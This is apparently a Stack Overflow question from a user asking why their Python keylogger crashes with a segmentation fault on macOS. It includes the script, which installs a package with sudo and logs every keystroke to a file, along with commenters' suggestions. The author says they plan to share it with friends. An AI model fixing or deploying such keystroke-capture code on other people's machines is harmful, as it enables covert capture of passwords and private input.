1

I am trying to make a keylogger. When I got a segmentation fault for the first time, after some research I found out I have to import the keyboard module with root, but even after I fixed that it still gives me a segmentation fault. Do you have any idea what could be causing this?

import os

os.system("sudo pip3 install keyboard")

import keyboard

log = open("log.txt", "w")

while True:
    key = keyboard.read_key()
    log.write(str(key))
    log.flush()

Output:

Requirement already satisfied: pyobjc-framework-CoreServices==8.5 in /Users/kluci/Library/Python/3.8/lib/python/site-packages (from pyobjc->keyboard) (8.5)
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
zsh: segmentation fault  /usr/bin/python3 /Users/kluci/Desktop/Coding/KeyLogger.py

Edit: I tried running the script as root and deleting the os.system("sudo pip3 install keyboard") as per recommendation. This still gave me a segmentation fault.

Jan Hrubec
  • 59
  • 6
  • 1
    You shouldn't to `os.system("sudo pip3 install keyboard")` but rather run your script as the root user. – 0stone0 May 25 '22 at 15:38
  • 2
    Does this answer your question? [Import error: you must be root](https://stackoverflow.com/questions/48796147/import-error-you-must-be-root) – 0stone0 May 25 '22 at 15:39
  • 1
    Why do install the module in your code every time you run it, and not one time from the consol? – TDG May 25 '22 at 15:39
  • @TDG, because I will be sharing this script with my friends and they don't know how to use pip – Jan Hrubec May 25 '22 at 16:29

0 Answers0